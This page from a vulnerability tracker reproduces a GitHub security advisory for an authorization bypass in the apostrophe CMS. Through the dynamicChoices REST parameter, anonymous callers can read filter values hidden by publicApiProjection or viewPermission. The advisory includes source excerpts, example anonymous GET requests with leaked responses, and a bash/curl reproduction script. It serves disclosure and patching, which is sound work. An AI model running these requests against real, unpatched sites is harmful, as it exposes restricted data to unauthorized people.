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Advisory · GitHub · npm · apostrophe

GHSA-X77X-88MC-36VG

Authorization bypass: the dynamicChoices query parameter on the public REST API ignores publicApiProjection and field-level viewPermission

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CVSS
—
medium
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche el mismo día de la divulgación
Exposición8 dDesde la divulgación, 11 nov 2026, 3:28 p. m.
Detección6 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche 4.34.1
Monitoreo
Detectada +1
11 nov 26
18 nov 26
19 nov 26
11 nov 26
13 nov 26
15 nov 26
17 nov 26
19 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-X77X-88MC-36VG divulgada
Remediación Parche 4.34.1 apostrophe · 0 d desde divulgación
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

1. Title

Authorization bypass: the `dynamicChoices` query parameter on the public REST API ignores `publicApiProjection` and field-level `viewPermission` (same class as CVE-2026-39857, via an un-gated code path)

2. Summary

The public REST API gates the `choices`/`counts` (and, more recently, `search`/`sort`) query builders so they cannot reveal values of fields hidden by `publicApiProjection` or protected by a field-level `viewPermission`. The sibling `dynamicChoices` query parameter reaches the same class of data through a different code path (`getFilterDynamicChoices`) that performs neither check. An unauthenticated caller (when the piece type sets `publicApiProjection`) or any low-privilege authenticated user can invoke a filter's dynamic `choices` method and read its output reintroducing exactly the disclosure those guards were added to prevent.

3. Technical Details

### Background
A piece type can expose an anonymous read API with `publicApiProjection` (a whitelist of fields unauthenticated callers may see) and can protect individual fields with `viewPermission`. A series of fixes hardened the public REST query builders against leaking restricted field values: CVE-2026-39857 added `choicesFieldAllowedByProjection()` / `choicesFieldAllowedByViewPermission()` for `choices`/`counts`; CVE-2026-33888 fixed the `project` builder; CVE-2026-112954 fixed `search`/`sort`; CVE-2026-63668 fixed a relationship slug-alias gap in the choices/counts guard.

### Expected vs. actual behavior
- Expected: every query-string path that can surface a field's distinct values is gated by the same projection and view-permission checks.
- Actual: the `dynamicChoices` parameter runs `getFilterDynamicChoices()`, which only verifies the filter name exists and then invokes the filter's `choices` method, returning the result with no projection and no view-permission check.

### Root cause
`modules/@apostrophecms/piece-type/index.js` `getAll` handler (installed 4.34.0, around lines 261–289):

const dynamicChoices = self.apos.launder.strings(req.query.dynamicChoices);
// ...
const filterDynamicChoices = await self.apos.schema.getFilterDynamicChoices(
  req, dynamicChoices, self            // runs unconditionally; NOT gated
);

`modules/@apostrophecms/schema/index.js` `getFilterDynamicChoices` (around lines 2721–2758):

async getFilterDynamicChoices(req, dynamicChoices, manager) {
  // ...
  for (const choice of dynamicChoices) {
    const filter = manager.filters.find(f => f.name === choice);   // only existence check
    if (!filter) { throw self.apos.error('invalid', ...); }
    const choices = await self.evaluateMethod(req, filter.choices, filter.name, moduleName, null, true, {}, 'filter');
    result[choice] = choices;          // returned with NO projection / viewPermission gate
  }
  return result;
}

By contrast, the `choices`/`counts` builder path in `modules/@apostrophecms/doc-type/index.js` (around lines 2864–2869) does call both guards, and the `search`/`sort` path (around line 3397) calls `choicesFieldAllowedByProjection`. `self.filters` is composed once at startup and is never per-request filtered by permission, so on the `dynamicChoices` path the gate is simply absent.

### Relationship to existing advisories (not a duplicate)
This is the same vulnerability class as the publicApiProjection/viewPermission bypass family but via a builder none of the published fixes covered:
- CVE-2026-39857 / GHSA-c276-fj82-f2pq `choices`/`counts` (gated).
- CVE-2026-63668 / GHSA-xmpp-f9v3-r7qh incomplete fix of the above via relationship slug-builder aliases (gated, patched 4.32.0). Different builder; `dynamicChoices` is not a slug alias.
- CVE-2026-112954 / GHSA-rqgm-cfrp-4hx8 `search`/`sort` (gated, patched 4.34.0).
- CVE-2026-33888 / GHSA-xhq9-58fw-859p `project` (gated).
None of these gates `dynamicChoices`. The `getFilterDynamicChoices` path remains ungated in the current release (4.34.0), verified by source inspection and live reproduction (Section 4).

### Confirmed evidence and limitations
- Reproduced at runtime on `apostrophe@4.34.0`, 2026-10-30, anonymously, on a disposable local instance with synthetic data only.
- Preconditions: the piece type defines a filter whose `choices` is a dynamic method (the documented `select`/`checkboxes` dynamic-choices pattern), and the exposed data is meant to be restricted the field carries a `viewPermission` and/or (for the unauthenticated case) the piece type sets a `publicApiProjection` that excludes it.
- Scope note: this discloses the *filter's choice values* (distinct, database-derived labels/values such as categories, tags, relationship targets, statuses), not arbitrary document fields. That is precisely what `viewPermission`/`publicApiProjection` are meant to restrict, and what the sibling guards protect.

4. Proof of Concept

### Environment used
- `apostrophe@4.34.0`, Node.js v22, MongoDB 7 (local), synthetic data only.
- A piece type `article` with:
- `publicApiProjection: { title: 1, slug: 1 }` (hides other fields from anonymous callers),
- a `select` field `secretCategory` with `viewPermission: { action: 'edit', type: 'article' }` and dynamic `choices: 'getSecretCategories'`,
- a filter `secretCategory` using the same dynamic `choices` method, which returns synthetic sensitive labels (`CONFIDENTIAL-...`).

Requests and observed responses (anonymous caller)
# (control) anonymous baseline projection hides secretCategory
GET /api/v1/article
  -> results contain only _id, metaType, slug, title, type   (no secretCategory / internalNotes)

# (control) anonymous gated path correctly withheld
GET /api/v1/article?choices[]=secretCategory
  -> 200, no "choices" key

# (VULNERABLE) anonymous dynamicChoices path leaks the protected values
GET /api/v1/article?dynamicChoices[]=secretCategory
  -> 200 { "choices": { "secretCategory": [
       {"label":"CONFIDENTIAL-MergerProjectTitan","value":"titan"},
       {"label":"CONFIDENTIAL-LayoffRound-Q3","value":"layoff"},
       {"label":"CONFIDENTIAL-UnannouncedProduct","value":"nova"} ] } }

The permission boundary is genuine (not an always-empty artifact): the gated `?choices[]=secretCategory` path withholds the values for the same anonymous caller, while `?dynamicChoices[]=secretCategory` returns them.

Reproduction script (bash + curl)
#!/usr/bin/env bash
set -euo pipefail
EP="${1:-http://localhost:3000}/api/v1/article"
echo "[*] (1) anonymous gated path  : choices[]=secretCategory"
curl -s "$EP?choices[]=secretCategory" | grep -o '"choices":[^}]*}' || echo "    -> withheld (no choices key)  [EXPECTED]"
echo "[*] (2) anonymous vulnerable   : dynamicChoices[]=secretCategory"
curl -s "$EP?dynamicChoices[]=secretCategory" | grep -o 'CONFIDENTIAL[^"]*' \
  && echo "    -> VULNERABLE: confidential values disclosed to anonymous caller" \
  || echo "    -> not vulnerable"

## 5. Impact
Any caller who can reach `getAll` anonymous when the piece type sets `publicApiProjection`, or any authenticated user regardless of role otherwise can invoke the dynamic `choices` method of any registered filter and read its output, bypassing both `publicApiProjection` and the field's `viewPermission`. The attacker controls which filter method runs (any filter whose `choices` is a method). Dynamic filter choices commonly enumerate database-derived values (categories, tags, statuses, relationship targets, names), which is exactly what these controls are meant to restrict.

## 6. Affected Versions
- Ecosystem: npm
- Package: `apostrophe`
- Affected: confirmed on 4.34.0 (latest). The `dynamicChoices` path has been ungated since the projection/view-permission guards were introduced for the sibling builders; it remains ungated in current source.
- Patched: none known.

## 7. Severity
Moderate. Proposed vector `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N` = 5.3 matching the sibling CVE-2026-39857 (also 5.3). Information disclosure only; no integrity or availability impact. Final scoring is the maintainers' to confirm.

## 8. Weaknesses (CWE)
- CWE-862: Missing Authorization
- CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

## 9. Suggested remediation
In `getFilterDynamicChoices` (or at the `getAll` call site), for each requested filter apply the same gates used by the `choices`/`counts` builder path: `choicesFieldAllowedByViewPermission(req, filter.name)` and, for public callers, `choicesFieldAllowedByProjection(filter.name, effectivePublicApiProjection)`; skip (do not invoke) any filter that fails either check. Keeping the two code paths in sync closes this family of disclosures on the public REST API.

## 10. References
- `modules/@apostrophecms/piece-type/index.js` (`getAll`), `modules/@apostrophecms/schema/index.js` (`getFilterDynamicChoices`), `modules/@apostrophecms/doc-type/index.js` (`choicesFieldAllowedByProjection` / `choicesFieldAllowedByViewPermission`)
- Same class as CVE-2026-39857, CVE-2026-63668, CVE-2026-112954, CVE-2026-33888 (each a different, now-gated builder)

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida Última
apostrophe< 4.34.1
4.34.1
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
npmapostrophe
Corregida 4.34.1 0 d 4.34.1 no afectada
Versiones corregidas4.34.1
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/apostrophecms/apostrophe/security/advisories/GHSA-x77x-88mc-36vg

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.